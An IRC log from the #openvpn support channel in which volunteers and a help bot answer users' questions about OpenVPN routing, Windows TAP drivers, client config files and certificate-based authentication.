07:48 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has left #openvpn []
07:48 -!- desmo [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
07:49 < desmo> can openvpn on windows run a client and a server ovpn file with the server process at the same time?
07:51 <+rob0> desmo, probably, but the necessity that you know what you're doing (understand IP routing) will increase dramatically.
07:54 < desmo> rob0, you mean because of the route looping?
07:57 <+rob0> that could happen!
07:58 < Rienzilla> yeah i'm quite certain it's possible
07:58 < Rienzilla> and fully support rob0's statement :D
07:59 < desmo> ya, i have seen it too, it is a most obvious routing issue ;)
08:04 -!- KaiForce [~chatzilla@adsl-70-228-65-227.dsl.akrnoh.ameritech.net] has joined #openvpn
08:14 < dioz> looping routes?
08:16 -!- brute11k [~brute11k@89.249.230.224] has quit [Ping timeout: 255 seconds]
08:17 < desmo> like when you have a router referring subnet routes to a subnet that has a router(sometimes a dhcp server) that refers back to the first router
08:19 -!- brute11k [~brute11k@89.249.231.136] has joined #openvpn
08:32 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
08:32 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has quit [Read error: Connection reset by peer]
08:36 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
08:37 -!- cpm [~Chip@pdpc/supporter/active/cpm] has left #openvpn []
08:48 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
08:58 -!- Netsplit *.net <-> *.split quits: Sickness\
09:00 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has joined #openvpn
09:01 <+pekster> desmo: I do that sometimes to test platform operation on Windows; the only real trick is to use 'nobind' if you're connecting to the loopback adapter
09:01 <+pekster> (and of course you need a 2nd tap device, via 'tap-windows.exe' in 2.3.0 since it's missing the 'addtap.bat' utility by default
09:05 < BasicXP> Good time of the day, everyone! Got a problem here regarding client configuration directory. Followed the manual on the website on how to assign static addresses to clients.
09:05 <@ecrist> morning, folks
09:05 < BasicXP> However whatever I do, the client still receives wrong addresses (IPv4 and IPv6).
09:05 < BasicXP> Could that be because the CN has a space in it?
09:06 < BasicXP> Thanks in advance for any help or advice.
09:08 <+pekster> BasicXP: See the section in the manpage listed under 'String Remapping'
09:08 <+rob0> Heh. Why are you putting spaces in CNs? :) Unix filenames can have spaces, also, but those must be escaped.
09:09 <@ecrist> BasicXP: my general SOP is to keep spaces out of CN
09:09 <@ecrist> also filesnames
09:09 <+pekster> BasicXP: The exact section you need is titled 'String Types and Remapping'
09:09 < BasicXP> pekster: thank you, will look into it
09:10 < BasicXP> ecrist: the file name has a space, it was created with touch "Common Name"
09:10 <+pekster> It's not against X509 policy to use space, but for best ovpn ease of use you should stick to the standard characters, or use the advanced option to avoid remapping (and write any code you use in hooks/scsripts very carefull to avoid quoting bugs)
09:10 <@ecrist> BasicXP: you can do whatever you want, it's generally a good practice to keep spaces out of file names, though
09:10 <+rob0> ah, look like you wanted "Common_Name"
09:11 <+pekster> well, or the --no-name-remapping option (depending on usecase and level of comfort managing potential string escapes if custom scripts are involved)
09:11 <+pekster> Nothing says trouble like the boss wanting to know why an attacker was able to exploit your VPN login ;)
09:13 < BasicXP> it will be much easier to rename the client config file for me, replacing a space with an underscore
09:13 < BasicXP> let me try it out
09:14 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has joined #openvpn
09:15 < BasicXP> that did the trick, thank you all very much for help! really appreciate it.
09:19 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has quit [Quit: Have to go. Good bye!]
09:32 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
09:40 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has joined #openvpn
09:44 -!- samba35 [~shrikant@unaffiliated/samba35] has quit [Ping timeout: 256 seconds]
09:46 -!- desmo [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has left #openvpn []
09:57 -!- samba35 [~shrikant@219.64.91.253] has joined #openvpn
10:06 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 260 seconds]
10:07 < kjs> Is there a way to set a route client side?
10:08 < kjs> in the ovpn file ?
10:08 <+pekster> Yup, via the 'route' directive
10:08 < kjs> route 10.255.0.0/24 10.25.8.69 ?
10:09 <+pekster> You need the netmask as its own separate parameter (see --route in the manpage for usage)
10:09 <+pekster> But yes, that's the premise
10:09 < kjs> route 10.255.0.0 255.255.555.0 10.25.8.69
10:09 <+pekster> Normally you don't use the IP since it'll be determined as your peer endpoint
10:10 <+pekster> You've got some variables availble too to define common IPs based on your connection context
10:12 < kjs> k thanks
10:18 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
10:22 -!- master_of_master [~master_of@p57B55F39.dip.t-dialin.net] has quit [Ping timeout: 240 seconds]
10:23 -!- master_of_master [~master_of@p57B53191.dip.t-dialin.net] has joined #openvpn
10:27 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
10:29 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
10:36 -!- Devastator [~devas@unaffiliated/devastator] has quit []
10:39 -!- corretico [~luis@190.211.93.38] has quit [Ping timeout: 272 seconds]
10:41 -!- izibi [~julian@unaffiliated/izibi] has left #openvpn []
10:44 -!- corretico [~luis@190.211.93.38] has joined #openvpn
10:48 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:49 -!- lurpy [~test003@soho-94-143-249-78.sohonet.co.uk] has quit [Quit: leaving]
10:53 -!- [Xaronic] [~Xaronic]@occupyuk.co.uk] has quit [Ping timeout: 248 seconds]
10:57 -!- [Xaronic] [~Xaronic]@occupyuk.co.uk] has joined #openvpn
11:00 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:00 -!- mode/#openvpn [+v s7r] by ChanServ
11:03 -!- raidz_away is now known as raidz
11:04 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
11:07 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
11:08 -!- swat [~swat@ubuntu/member/swat] has joined #openvpn
11:09 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 260 seconds]
11:10 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
11:14 -!- Porkepix [~Porkepix@LMontsouris-156-24-53-197.w193-253.abo.wanadoo.fr] has quit [Quit: Computer has gone to sleep.]
11:14 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
11:19 -!- KaiForce [~chatzilla@adsl-70-228-65-227.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.89 [Firefox 18.0/20130104151925]]
11:20 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:26 -!- RAWR254 [~androirc@71.36.146.65] has joined #openvpn
11:28 < RAWR254> Morning folks. I have a question. I have a router that needs ipv6 support over openvpn. Is there a 2.3.0 mips build out or would i have to compile it?
11:28 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 255 seconds]
11:28 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Read error: Connection reset by peer]
11:29 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
11:30 < RAWR254> Latest build i have found seems to be 2.2.2 for mipsel
11:33 < RAWR254> Mind you i cant do a dev tap due to the other end being a vps
11:34 <+pekster> RAWR254: Someone was here a week or so ago that mentioned some build issues for 2.3.0 under mips (OpenWRT I think, or maybe dd-wrt.) I'm not aware of a 2.3.x branch build for a mips platform, but I haven't really looked that hard personally
11:34 <+pekster> If you get it working, I'm sure the *WRT and/or openvpn mailing list would be interested to hear how you resolved any issues that popped up
11:35 < RAWR254> Pekster: if i cant get the ipv6 over dev tun to work, is it possible to use dev tap to link a router to a vps server?
11:36 <+pekster> Yea, and then serve IPv6 over the Ethernet link
11:37 <+pekster> There are a set of IPv6 patches to some of the 2.2.x branches too, but I'm not sure if any potential build issues are with IPv6 specifically, or other 2.3 branch stuff
11:37 < RAWR254> Awesome! Here i was thinking i couldnt because the vps only has the global ip on eth0
11:37 <+pekster> I'm not really the guy to ask about specifics, so I'm just passing on what I've heard
11:37 <+pekster> Sadly, I'm stuck on the IPv4-only Internet, for now
11:38 < RAWR254> My vps has a he.net tunnel
11:38 < RAWR254> So ipv6 is going to blow
11:38 <+pekster> I do have a nice fancy fe00::/8 network though ;)
11:38 < RAWR254> But oh well
11:38 <+pekster> ff*
11:39 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
11:39 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
11:39 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:40 < RAWR254> Pekster: doesnt tap bridge interfaces so that my local network would show up on the network that eth0 is on?
11:40 <+pekster> Rigiht
11:40 <+pekster> It operates similar to how a physical network switch would
11:41 <+pekster> You need to configure the bridge at the OS level; eg: Linux uses a 'br0' interface and you manage it with brctl to add eth0 and tap0, for instance
11:42 < RAWR254> I dunno if the datacenter would like a 192.168.x.x network showing up
11:42 <+pekster> The client needs an IP valid on the target network
11:42 <+pekster> Just like if you put a random machine on your home LAN with 10.50.100.7/24, it's not going to magically work unless you have a gateway on that same subnet also on your home LAN
11:43 < RAWR254> well that poses an issue
11:43 <+pekster> To use a tap device with the rest of the IP-Internet, you still need an IP and a gateway and such
11:43 <+pekster> think of tap like a "really big virtual Ethernet cable"
11:43 <+pekster> And that's it
11:43 < RAWR254> Guess ill have to look at a tun ipv6 patch
11:44 <+pekster> (ovpn can manage a virtual IP network for you too on top of tap, but the low-level tap device is still just emulating Ethernet under the hood)
11:45 <+pekster> I'm not sure what the problems the last person to play with 2.3.x under MIPS were; your luck may vary if you're familiar with building code and aren't afraid to look into any errors you might get
11:45 <+pekster> For all I know they're fairly simple, but I don't need IPv6 on my OpenWRT openvpn setup, so I'm happy to use whatever the feeds provides for a version :P
11:48 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
11:49 -!- RAWR254 [~androirc@71.36.146.65] has quit [Quit: AndroIRC - Android IRC Client ( http://www.androirc.com )]
11:49 -!- Valcorb [Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
11:49 < Valcorb> Hello,, can anyone help me?
11:50 < Valcorb> i need to install a second tap driver
11:50 < Valcorb> but i can't find tapinstall.exe in the bin folder
11:50 <+pekster> Valcorb: What openvpn version?
11:50 < Valcorb> 2.3.0
11:50 <+pekster> In your install root, you should have a .\bin\tap-windows.exe
11:50 <+pekster> Run that, and select the optional 'Utilities' checkbox
11:51 <+pekster> Then in the install dir for the TAP-Win32 folder, you'll get the usual addtap.bat and deltapall.bat files
11:51 < Valcorb> Hmm, i can't find the file
11:51 < Valcorb> http://i.imgur.com/dE3H3.png
11:52 <+pekster> Valcorb: Weird. Well, break open the openvpn installer you downloaded with 7-zip and you can find it in the .\$TEMP\ path too
11:53 <+pekster> I'm using the 64-bit 2.3.0 official release, but I *though* I teseted it and saw the tap-windows.exe thing there. Maybe I was mistaken, or maybe it was installed as an optional component I checked during install
11:53 <+pekster> thought*
11:53 < Valcorb> hmm
11:54 <+pekster> 7-zip should get it for you either way since it's part of the release download
11:54 < Valcorb> yeah
11:54 < Valcorb> lemme get 7zip
11:54 < Valcorb> one sec
11:56 <+pekster> Now I'm curious enough to get my dusty XP-32-bit VM updated to try a generic install of 2.3.0 to see what happens
11:59 < Valcorb> pekster, thanks, that fixed it
11:59 < Valcorb> it sohuld work
11:59 < Valcorb> if its compatible with XP
11:59 < Valcorb> lol
11:59 <+pekster> Well, I want to see if that tap-windows.exe is installed by default using only default installer options in the <install-path>\bin\ dir
12:00 < Valcorb> oh i c
12:00 <+pekster> It's still a hassle that between 2.2 and 2.3 the 2 batch files were removed from the tap-win32 installation
12:00 <+pekster> I  mean, the driver and tapinstall.exe are still there, but not the frontend scripts and ini file to actaully do it from userland
12:03 < Valcorb> yeah
12:03 < Valcorb> i noticed
12:06 <+pekster> Interesting, the file I referenced is not there post-install on 32-bit, even with all the optional stuff checkced
12:06 <+pekster> Further, the build of the openvpn installer is not current with the git master becuase it's clearly missing the extra command-line value to install the utilities by default:
12:06 <+pekster> "C:\DOCUME~1\Josh\LOCALS~1\Temp\tap-windows.exe" /S
12:07 <+pekster> /S is for a silent NSIS install, but it's missing the /SELECT_UTILITIES value
12:07 <+pekster> Looks like a build issue then
12:07 <+pekster> I'll verify what I just stated in the code, then email the dev mailing list; hopefully 2.3.1 can fix that
12:08 < Valcorb> yeah
12:08 < Valcorb> p much
12:08 <+pekster> Thanks for stopping by; I looked a bit at the code, but not quite enough to fully track down the installation dissrepency against what I saw in it
12:08 <+pekster> Now I have the info I should need to generate a proper bugreport ;)
12:09 <+pekster> Valcorb: Are you on a 32 or 64 bit OS?
12:09 < Valcorb> 64 bit
12:09 < Valcorb> windows 8
12:09 < Valcorb> i'd love to get win7
12:09 < Valcorb> tho
12:10 <+pekster> classicshell.sf.net if you want your precious start menu back (open-source project too)
12:10 < Valcorb> Yeah i saw it
12:10 -!- Porkepix [~Porkepix@lns-bzn-20-82-64-31-107.adsl.proxad.net] has joined #openvpn
12:10 < Valcorb> i got the windowblinds tool
12:11 -!- josheee12 [~jsteiner@131.91.7.1] has joined #openvpn
12:12 -!- josheee12 [~jsteiner@131.91.7.1] has left #openvpn []
12:18 < kjs> Buy a mac...
12:33 -!- bauruine [~stefan@91.236.116.112] has quit [Read error: Connection reset by peer]
12:39 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
12:56 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Quit: Ex-Chat]
13:15 -!- Freeaqingme [~Freeaqing@91.214.168.110] has joined #openvpn
13:15 < Freeaqingme> Hi. Is it possible to forward all web traffic to my vpn, without the redirect-gateway option being pushed by the server itself? (on some clients I do want to redirect, on others I dont)
13:16 <+pekster> Freeaqingme: You can push that from the server in a ccd file or via a --client-connect script
13:17 <+pekster> Optionally, the client itself can specify 'redirect-gateway' locally, or you can do the equivelent route operations by hand or by script on the client end too
13:29 -!- Porkepix [~Porkepix@lns-bzn-20-82-64-31-107.adsl.proxad.net] has quit [Ping timeout: 272 seconds]
13:31 -!- Porkepix [~Porkepix@lns-bzn-20-82-64-31-107.adsl.proxad.net] has joined #openvpn
13:33 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
13:36 -!- else- [~else@towely.iodev.org] has joined #openvpn
13:36 < else-> is it possible to push routes in p2p-mode?
13:38 <+pekster> else-: No, you can't use the --client or --pull directives outside of the multi-client mode
13:38 < else-> ok, thanks!
13:40 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
13:41 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
13:44 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:46 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
13:48 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
13:49 -!- Porkepix [~Porkepix@lns-bzn-20-82-64-31-107.adsl.proxad.net] has quit [Ping timeout: 252 seconds]
13:49 -!- samba35 [~shrikant@219.64.91.253] has quit [Remote host closed the connection]
13:51 -!- Porkepix [~Porkepix@lns-bzn-20-82-64-31-107.adsl.proxad.net] has joined #openvpn
14:02 -!- brute11k1 [~brute11k@89.249.230.101] has joined #openvpn
14:03 -!- brute11k [~brute11k@89.249.231.136] has quit [Ping timeout: 256 seconds]
14:09 -!- Porkepix [~Porkepix@lns-bzn-20-82-64-31-107.adsl.proxad.net] has quit [Ping timeout: 252 seconds]
14:19 -!- Orbi [~opera@anon-149-82.vpn.ipredator.se] has joined #openvpn
14:42 -!- Porkepix [~Porkepix@lns-bzn-20-82-64-31-107.adsl.proxad.net] has joined #openvpn
14:54 < Freeaqingme> pekster, Thanks, works!
14:54 <+pekster> :)
15:26 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has quit [Read error: Operation timed out]
15:27 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has joined #openvpn
15:56 -!- cutaliviu [~liviusfus@79.118.219.39] has joined #openvpn
15:56 -!- cutaliviu [~liviusfus@79.118.219.39] has quit [Client Quit]
16:01 -!- cutaliviu [~cutaliviu@79.118.219.39] has joined #openvpn
16:02 -!- dazo is now known as dazo_afk
16:08 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
16:30 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit []
16:31 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has quit [Ping timeout: 246 seconds]
16:48 -!- p3rror [~mezgani@41.249.102.205] has joined #openvpn
16:53 -!- p3rror [~mezgani@41.249.102.205] has quit [Ping timeout: 245 seconds]
16:58 -!- cutaliviu [~cutaliviu@79.118.219.39] has quit []
17:05 -!- p3rror [~mezgani@41.249.83.35] has joined #openvpn
17:20 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has joined #openvpn
17:25 -!- Valcorb [Valcorb@94-226-106-113.access.telenet.be] has quit []
17:33 -!- p3rror [~mezgani@41.249.83.35] has quit [Ping timeout: 245 seconds]
17:48 -!- Valcorb [Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
17:52 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Quit: Leaving]
18:04 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
18:16 -!- s7r [~s7r@openvpn/user/s7r] has quit [Read error: Connection reset by peer]
18:16 -!- AlbinoGeek [AcademyInt@academyintl/director/AcademyIntl] has joined #openvpn
18:16 < AlbinoGeek> !logs
18:16 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
18:17 < AlbinoGeek> !logfile
18:17 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info
18:19 < AlbinoGeek> :)  That fixed everything.
18:19 < AlbinoGeek> Oh how wonderful it is when channels have USEFUL topics...
18:19 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in]
18:19 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....]
18:20 -!- raidz [~raidz@raidz.im] has joined #openvpn
18:20 -!- raidz [~raidz@raidz.im] has quit [Changing host]
18:20 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
18:20 -!- mode/#openvpn [+o raidz] by ChanServ
18:20 -!- mattock [~mattock@raidz.im] has joined #openvpn
18:20 -!- mattock [~mattock@raidz.im] has quit [Changing host]
18:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
18:20 -!- mode/#openvpn [+o mattock] by ChanServ
18:20 < AlbinoGeek> Now that I've configured and successfully started OpenVPN server v2.3.x on my CentOS 5 box, and iptables forwarded (with masquarade) the private section; with ipforward enabled in sysctl.. how do I go about configuring the client?
18:21 < AlbinoGeek> I'm guessing OpenVPN requires the OpenVPN client ; (doesn't emulate PPTP/SSTP/any  VPN that windows natively supports.)
18:24 < EugeneKay> It's the same `openvpn` binary whether you're in --server or --client mode
18:25 < EugeneKay> In any case, yes, you need to download the openvpn for windows app
18:25 < EugeneKay> !download
18:25 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
18:25 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
18:25 < EugeneKay> This installs a special TUN/TAP device(as a network adapter) and handles the magic of routing tables, etc
18:28 < EugeneKay>  You built 2.3.0 for CentOS5? You can just get a package for it, though it'll be the older 2.2(I think... might be 2.1 still)
18:28 < EugeneKay> Most sane people have updated to 6 anyway
18:30 < AlbinoGeek> EugeneKay: Thank you.  In the case of the Linux, I built everything myself and got everything working.  It was nice.
18:30 < AlbinoGeek> But yeah, as per the Windows version I didn't know what to do.
18:31 < AlbinoGeek> Linux always "just works"; I don't get how people stand Windows
18:31 < EugeneKay> It works fine for me :-p
18:31 < EugeneKay> I've messed with my registry far less than I used to argue with xorg.conf
18:31 < AlbinoGeek> EugeneKay: I avoid X :)
18:31 < EugeneKay> I also have 6 monitors, and half the displays are powered by hardware that doesn't have linux drivers AT ALL, so....
18:32 < AlbinoGeek> EugeneKay: But yeah, with Windows... the builtin VPN adapter was the only one I could get working for the longest time..
18:32 < AlbinoGeek> But then suddenly PTTPD (PoPToP) stopped being updated / working on linxu anymore. so I had to move to OpenVPN finally
18:32 < EugeneKay> The openvpn installer does it's thing
18:32 -!- UberDuper [~UberDuper@wsip-174-77-66-158.ph.ph.cox.net] has left #openvpn []
18:32 < EugeneKay> The only caveat is that you need to start the GUI bit as Admin
18:32 < AlbinoGeek> EugeneKay: Yes, but OpenVPN GUI won't open :)
18:32 < AlbinoGeek> And I have UAC disabled before you ask.
18:33 < EugeneKay> Are you feeding it a config file?
18:33 < AlbinoGeek> EugeneKay: Well no, it's a GUI.  I just started it from the start menu; and it's done nothing; no window, no file open dialog, no configuration, no tray icon, etc.
18:34 < EugeneKay> Aha.
18:34 < EugeneKay> !ovpn
18:34 <@vpnHelper> "ovpn" is (#1) OpenVPN GUI will load config files with a .ovpn extension when double-clicked. or (#2) this is the same config file format as the standard .conf , just renamed to prevent extension collisions on Windows
18:34 < AlbinoGeek> I'm sitting in the config-file directory atm, but yeah.
18:34 < EugeneKay> Create a config file, name it foo.ovpn
18:34 < EugeneKay> Right click it and run
18:34 < AlbinoGeek> What's the default file loaded by the GUI ?
18:34 < EugeneKay> No clue.
18:34 < AlbinoGeek> ie: default.ovpn or something like that?
18:34 < AlbinoGeek> As it appears to have loaded something, TUN is up and running.
18:34 < EugeneKay> I know that if you use the Service it will load c:\
18:35 < EugeneKay> c:\Program Files (x86)\Openvpn\config\ or so
18:35 < EugeneKay> (I'm on my desktop, which doesn't have openvpn installed)
18:35 < AlbinoGeek> C:\Program Files\OpenVPN\config
18:35 < EugeneKay> Sounds right
18:35 < AlbinoGeek> Well, I'm here; but what's the default file's NAME ?
18:36 < EugeneKay> AFAIK it's just whatever is in that directory; but this is for the Service. I don't think invoking the GUI by itself does anything
18:36 < EugeneKay> There should be a tray icon you cna interact with
18:36 < EugeneKay> Try running
18:36 < EugeneKay> !win_shortcut
18:36 < AlbinoGeek> Yeah, the tray icon is pretty useless. "Settings / Exit"  Settings shows proxy settings, and nothing else.
18:36 < EugeneKay> !winshortcut
18:36 <@vpnHelper> "winshortcut" is To start OpenVPN-GUI easily on Windows, make a shortcut and set the Target as: \"C:\Program Files (x86)\OpenVPN\bin\openvpn-gui-1.0.3.exe\" --config_dir \"C:\path\to\config\" --connect client.ovpn --show_balloon 0 --silent_connection 1 --show_script_window 0
18:36 < EugeneKay> That isn't \"ed right, but you get the idea
18:37 < EugeneKay> I typically put my config files in c:\Users\eugene\openvpn\, rather than in the Program Files\config dir
18:37 < AlbinoGeek> Okay so let's see... time to copy server config into client config (as per tun/tap etc)
18:37 < EugeneKay> (I kepe UAC enabled)
18:37 < EugeneKay> Yup, make up a standard client config file
18:37 < AlbinoGeek> Server is running... tun, alright.  What else needs to be the same?  Port obvs.
18:37 < AlbinoGeek> Proto set
18:38 < EugeneKay> Off the top of my head.... remote, rport, tls-client, ca, cert, key, pull
18:38 < EugeneKay> Those are the minimum settings
18:38 < EugeneKay> Oh, and proto
18:38 < AlbinoGeek> So what, download ca.crt from the server, and gen a client certificate ?
18:39 < AlbinoGeek> Because ca cert and key both say "client" in this config, but should they be the same keys as the server? (this is really odd to me, standard RSA just has you get a private key...)
18:39 < EugeneKay> Ya, you need to have a client.key and client.crt, if you're doing cert-based auth(the default and sane thing)
18:39 < AlbinoGeek> My server is a proper CA, so creating an RSA certificate for the OpenVPN server was easy, but what do I put on the client now?
18:39 < EugeneKay> No, you should have separate keys/certs for each machine in the setup
18:40 < AlbinoGeek> Uhh what?
18:40 < EugeneKay> Insteading of specifying the TLS Server extension in openssl you specify TLS Client
18:40 < EugeneKay> One CA; many different certs.
18:40 < AlbinoGeek> Yeah see, now you've lost me.  In standard tunneled SSL connections (such as NX, SSH, etc) I generate a certificate on the server, then get myself a copy of the certificate on my local machine, the server keeping the private key.
18:41 < EugeneKay> Yeah, this is different
18:41 < AlbinoGeek> Then that being the authenticator :x
18:41 < EugeneKay> BOTH ends verify the identity of the other against the CA
18:41 < AlbinoGeek> Yeah, well now I have no idea; because OpenSSL-rsakeygen doesn't run on this box at all (Windows).  So how would I even gene a cert here?
18:41 < EugeneKay> It's akin to how cert-based email works. You have a client cert and a server cert, both are checked.
18:41 < EugeneKay> Typically you gen on the server(or elsewhere) and then SCP it
18:42 < EugeneKay> !xca
18:42 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
18:42 < EugeneKay> That works on Windows, if you really want to do proepr CSRs, but it's more pain than it's worth IMO
18:42 < AlbinoGeek> Well, easy-rsa isn't an issue; I can generate a second cert on the server if that's all I have to do.. but yeah.
18:42 < EugeneKay> Just easy-rsa on the server, SCP+delete from server
18:42 < AlbinoGeek> EugeneKay: Well, my server is a proper CA; so I do have to do the CSR / etc to get the key.
18:42 < AlbinoGeek> Does OpenVPN respect CRL by the way?
18:42 < EugeneKay> Yup, --crl option
18:43 < AlbinoGeek> Ahh good.
18:43 < EugeneKay> I believe it expects DER format, but don't quote me on that
18:43 < AlbinoGeek> Ehh, the CA spits out CRL in all formats; so it shouldn't be an issue.
18:43 < EugeneKay> I'm guessing you're talking about the red hat CA tools?
18:44 < AlbinoGeek> EugeneKay: inhouse software.
18:44 < EugeneKay> Ah, fun
18:44 < AlbinoGeek> So, in keys on the server I have... hundreds of files, wtf did easy-rsa do:x
18:44 < EugeneKay> easy-rsa has a ./build-req command that you can use
18:45 < AlbinoGeek> This is what confuses me though ,following to this point a guide on https://safesrv.net/install-openvpn-on-centos/
18:45 <@vpnHelper> Title: SafeSrv Installing OpenVPN on CentOS 5 and CentOS 6 (at safesrv.net)
18:45 < EugeneKay> Guides are useless :-p
18:45 < AlbinoGeek> They do not specify key or cert on the client, only the CA
18:45 < AlbinoGeek> Then they use linux system login
18:46 < AlbinoGeek> The only different lines in client they specify are: ca ca.crt auth-user-pass comp-lzo reneg-sec 0 verb 3
18:46 < EugeneKay> Yeah, client-cert-not-required
18:46 < AlbinoGeek> EugeneKay: client-cert-not-required isn't specified on the server.
18:46 < EugeneKay> In their guide it is
18:46 < EugeneKay> Which is a terrible idea
18:46 < AlbinoGeek> Nevermind, I saw it.
18:46 < EugeneKay> !howto
18:46 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
18:47 < EugeneKay> That's the only thing we really support here, guide-wise ^
18:47 < AlbinoGeek> Welp, OpenVPNs "derp I need to authorize myself" seems pretty terrible so far...
18:47 < AlbinoGeek> http://www.secure-computing.net/openvpn/howto.php <-- I was there
18:47 <@vpnHelper> Title: SCN: OpenVPN IRC Channel Policy (at www.secure-computing.net)
18:47 < AlbinoGeek> Note how it has no steps as such as "here are some things you need to consider"
18:47 < EugeneKay> Same thing
18:47 < AlbinoGeek> Which was nice, but yeah
18:47 < EugeneKay> Yeah, that doc could use righting
18:48 < EugeneKay> writing
18:48 < AlbinoGeek> (not to mention half the commands are only there for Windows servers... which is terrible)
18:48 < EugeneKay> Brb, need more booze, and to play with fire
18:48 < AlbinoGeek> Heh, Windows Server ^
18:51 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
18:52 < AlbinoGeek> Right so, I need to install the CA.CRT on all client machines; and distribute to each client a pair of crt/key client files
19:01 < EugeneKay> Correct
19:09 -!- Valcorb [Valcorb@94-226-106-113.access.telenet.be] has quit [Ping timeout: 256 seconds]
19:09 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
19:18 < AlbinoGeek> EugeneKay: Yeah... if I rewrite this docs here to actually be useful and less technical, who would I go about submitting it to to be reviewed or used somewhere here?
19:19 < AlbinoGeek> Because yeah, these docs have a lot of things that just confuse people, a lot of parts you go to that don't stream into any other points, "orphaned" or "deadend" pages everywhere.
19:19 < AlbinoGeek> It's hard to follow
19:19 < EugeneKay> !wiki
19:19 <@vpnHelper> "wiki" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN for the Unofficial wiki or (#2) https://community.openvpn.net/openvpn/wiki for the Official wiki
19:19 < EugeneKay> Write it up on the official wiki and we can add/edit the bot factoids as needed
19:19 < EugeneKay> A list of "gotchas" and things to consider would be a good start
19:20 < AlbinoGeek> Like, even the CORE things on this documentation are wrong.
19:20 < AlbinoGeek> Such as the location of the "docs" folder on your system.
